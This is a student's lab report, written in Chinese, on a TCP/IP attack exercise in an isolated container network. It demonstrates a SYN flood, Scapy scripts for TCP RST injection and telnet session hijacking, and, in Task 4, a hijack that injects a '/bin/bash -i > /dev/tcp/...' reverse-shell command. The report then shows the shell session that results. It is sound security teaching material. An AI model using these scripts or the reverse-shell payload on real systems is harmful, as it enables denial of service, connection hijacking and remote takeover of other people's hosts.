

TCP/IP Attack Lab

57118214 陈佳杰

Task 1: SYN Flooding Attack

关闭 SYN Cookie

```
net.ipv4.tcp_max_syn_backlog = 128
[07/08/21]seed@VM:~/.../Labsetup$ sudo sysctl -a | grep syncookies
net.ipv4.tcp_syncookies = 1
[07/08/21]seed@VM:~/.../Labsetup$ sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
```

在攻击开始前先用 10.9.0.6 的主机登录被攻击者主机 10.9.0.5，发现可以成功登录

```
[07/08/21]seed@VM:~/.../Labsetup$ docksh be
root@bef3868e750e:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
7ff2e304df63 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

在攻击前检查 10.9.0.5 的网络连接状态

```
root@7ff2e304df63:/# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.11:36387        0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23            10.9.0.6:58808          TIME_WAIT
```

使用 ip tcp_metrics flush 命令清空 TCP 连接后，编译 flood 攻击程序并运行

```
[07/08/21]seed@VM:~/.../volumes$ gcc -o synflood synflood.c
```

```
root@VM:/volumes# synflood 10.9.0.5 23
```

再次查看 10.9.0.5 的网络连接状态，由下图可以看到，有很多 SYN_RECV 状态的连接，已经遭受了 SYN 泛洪攻击。

```

root@7ff2e304df63:/# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.11:36387        0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23             106.198.28.38:63978     SYN_RECV
tcp        0      0 10.9.0.5:23             131.48.205.41:38130     SYN_RECV
tcp        0      0 10.9.0.5:23             122.210.245.47:36403    SYN_RECV
tcp        0      0 10.9.0.5:23             85.96.102.73:33904      SYN_RECV
tcp        0      0 10.9.0.5:23             251.68.140.48:11027     SYN_RECV
tcp        0      0 10.9.0.5:23             107.236.201.52:57840    SYN_RECV
tcp        0      0 10.9.0.5:23             182.107.127.27:22320    SYN_RECV
tcp        0      0 10.9.0.5:23             181.248.7.61:50425      SYN_RECV
tcp        0      0 10.9.0.5:23             132.202.116.100:36482   SYN_RECV
tcp        0      0 10.9.0.5:23             253.254.5.115:44952     SYN_RECV
tcp        0      0 10.9.0.5:23             244.223.134.56:24752    SYN_RECV
tcp        0      0 10.9.0.5:23             41.16.159.3:42528       SYN_RECV
tcp        0      0 10.9.0.5:23             118.136.113.93:38444    SYN_RECV
tcp        0      0 10.9.0.5:23             247.223.53.94:2848      SYN_RECV
tcp        0      0 10.9.0.5:23             65.185.140.64:28042     SYN_RECV
tcp        0      0 10.9.0.5:23             82.189.66.122:8561      SYN_RECV
tcp        0      0 10.9.0.5:23             248.204.136.58:22207    SYN_RECV
tcp        0      0 10.9.0.5:23             105.39.76.110:61734     SYN_RECV

```

用主机 10.9.0.6 去尝试登录 10.9.0.5，发现连接不上

```

root@bef3868e750e:/# telnet 10.9.0.5 23
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out

```

开启 SYN Cookie 后进行 SYN Flood 攻击，再进行 telnet 连接，会发现可以连接。说明 SYN Cookie 起到了抗攻击作用。

Task 2: TCP RST Attacks on telnet Connections

用主机 10.9.0.6 向被攻击主机 10.9.0.5 建立 telnet 连接

```

root@cddbacd7d08a:/# telnet 10.9.0.5 23
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4a53e1268802 login:

```

抓取这一过程的 TCP 包，并读取参数写出如下程序

```

2292 2021-07-08 15:35:14... 10.9.0.5 10.9.0.6 TCP 89 [TCP Retransmission]
Transmission Control Protocol, Src Port: 23, Dst Port: 54932, Seq: 3585984269, Ack: 2118022531, Len: 2
  Source Port: 23
  Destination Port: 54932
  [Stream index: 8]
  [TCP Segment Len: 21]
  Sequence number: 3585984269
  [Next sequence number: 3585984290]
  Acknowledgment number: 2118022531

```



```
from scapy.all import *
ip = IP(src="10.9.0.5", dst="10.9.0.6")
tcp = TCP(sport=23, dport=54932, flags="R", seq=358598429)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
```

运行程序后回到主机 10.9.0.6 可以发现连接已经断开。

```
seed@4a53e1268802:~$ Connection closed by foreign host
root@cddbacd7d08a:/#
```

Task 3: TCP Session Hijacking

抓取主机 10.9.0.6 向 10.9.0.5 发送的最后一个 tcp 包

```
166 2021-07-08 15:51:45... 10.9.0.6 10.9.0.5 TCP 74 [TCP Retransm
Transmission Control Protocol, Src Port: 54938, Dst Port: 23, Seq: 960666818, Ack: 1289564304, L
Source Port: 54938
Destination Port: 23
[Stream index: 0]
[TCP Segment Len: 18]
Sequence number: 960666818
[Next sequence number: 960666836]
Acknowledgment number: 1289564304
0101 .... = Header Length: 20 bytes (5)
```

编写代码构造伪造数据包

```
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=54938, dport=23, flags="A", seq=960666818, ack=1289564304)
data="I am the attacker!"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
```

在攻击者上运行程序，可以在 Wireshark 上看到发送了这个伪造的数据包

```
327 2021-07-08 15:53:32... 10.9.0.5 10.9.0.6 TCP 86 [TCP Retra
```

构造的内容也体现在数据包中

```

[SEQ/ACK analysis]
  [iRTT: 0.000033690 seconds]
  [Bytes in flight: 18]
  [Bytes sent since last PSH flag: 18]
  [TCP Analysis Flags]
  [Timestamps]
    TCP payload (18 bytes)
    Retransmitted TCP segment data (18 bytes)

```

0000	00 04 00 01 00 06 02 42	0a 09 00 05 00 00 08 00B.....
0010	45 10 00 46 b9 77 40 00	40 06 6d 0e 0a 09 00 05	E..F.w@. @.m.....
0020	0a 09 00 06 00 17 d6 9a	4c dd 30 90 39 42 9c d4L.0.9B..
0030	80 18 01 fe 14 55 00 00	01 01 08 0a 03 81 94 5cu.....\
0040	e1 d2 7d 58 49 20 61 6d	20 74 68 65 20 61 74 74	..}XI am the att
0050	61 63 6b 65 72 21		acker!

由于会话劫持引起的 TCP 数据重传的数据包记录如下

148	2021-07-08 16:53:51...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio
149	2021-07-08 16:53:51...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio
150	2021-07-08 16:53:51...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio
151	2021-07-08 16:53:51...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio
152	2021-07-08 16:53:52...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio
153	2021-07-08 16:53:52...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio
154	2021-07-08 16:53:53...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio
155	2021-07-08 16:53:53...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio
156	2021-07-08 16:53:54...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio
157	2021-07-08 16:53:54...	10.9.0.5	10.9.0.6	TCP	86	[TCP Retransmissio

Task 4: Creating Reverse Shell using TCP Session Hijacking

攻击者开始监听

```
root@VM:/volumes# nc -lnv 9090
Listening on 0.0.0.0 9090
```

抓取主机 10.9.0.6 向 10.9.0.5 发送的最后一个 tcp 包

```
Transmission Control Protocol, Src Port: 54942, Dst Port: 23, Seq: 3419609373, Ack: 3060726667,
  Source Port: 54942
  Destination Port: 23
  [Stream index: 2]
  [TCP Segment Len: 0]
  Sequence number: 3419609373
  [Next sequence number: 3419609373]
  Acknowledgment number: 3060726667
  1000 .... = Header Length: 32 bytes (8)
  Flags: 0x010 (ACK)
```

编写代码进行会话劫持

```
import sys
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=54942, dport=23, flags="A", seq=3419609373, ack=3060726667)
data="\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 2>&1 0<&1 \r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
```

攻击者运行代码，反向 Shell 成功

```

src      : SourceIPField      = '10.9.0.6'      (None)
dst      : DestIPField       = '10.9.0.5'      (None)
options  : PacketListField    = []               ([])
--
sport    : ShortEnumField     = 54942           (20)
dport    : ShortEnumField     = 23              (80)
seq      : IntField           = 3419609373      (0)
ack      : IntField           = 3060726667      (0)
dataofs  : BitField (4 bits)  = None            (None)
reserved : BitField (3 bits)  = 0               (0)
flags    : FlagsField (9 bits) = <Flag 16 (A)>   (<Flag 2 (S)>)
)
window   : ShortField         = 8192            (8192)
chksum   : XShortField        = None            (None)
urgptr   : ShortField         = 0               (0)
options  : TCPOptionsField     = []              (b'')
--
load     : StrField            = b'\r /bin/bash -i > /dev/tcp/
10.9.0.1/9090 2>&l 0<&l \r' (b'')

```

```

root@VM:/volumes# nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 33166
seed@4a53e1268802:~$ ls
ls
seed@4a53e1268802:~$ cd ..
cd ..
seed@4a53e1268802:/home$ cd ..
cd ..
seed@4a53e1268802:/$ ls
ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc

```

一开始服务器所在的目录为/home/seed，服务器在该目录下没有文件，ls 命令的结果为空，通过两次 cd ..命令退出到根目录，再使用 ls 命令可以看到服务器根目录下的所有文件夹。

```
seed@4a53e1268802:/$ ls -al
ls -al
total 68
drwxr-xr-x  1 root root 4096 Jul  8 10:54 .
drwxr-xr-x  1 root root 4096 Jul  8 10:54 ..
-rwxr-xr-x  1 root root    0 Jul  8 10:54 .dockerenv
lrwxrwxrwx  1 root root    7 Nov  6  2020 bin -> usr/bin
drwxr-xr-x  2 root root 4096 Apr 15  2020 boot
drwxr-xr-x  5 root root  360 Jul  8 18:41 dev
drwxr-xr-x  1 root root 4096 Jul  8 10:54 etc
drwxr-xr-x  1 root root 4096 Nov 26  2020 home
lrwxrwxrwx  1 root root    7 Nov  6  2020 lib -> usr/lib
lrwxrwxrwx  1 root root    9 Nov  6  2020 lib32 -> usr/lib32
lrwxrwxrwx  1 root root    9 Nov  6  2020 lib64 -> usr/lib64
lrwxrwxrwx  1 root root   10 Nov  6  2020 libx32 -> usr/libx32
drwxr-xr-x  2 root root 4096 Nov  6  2020 media
drwxr-xr-x  2 root root 4096 Nov  6  2020 mnt
drwxr-xr-x  2 root root 4096 Nov  6  2020 opt
dr-xr-xr-x 332 root root    0 Jul  8 18:41 proc
drwxr-xr-x  1 root root 4096 Nov 26  2020 root
```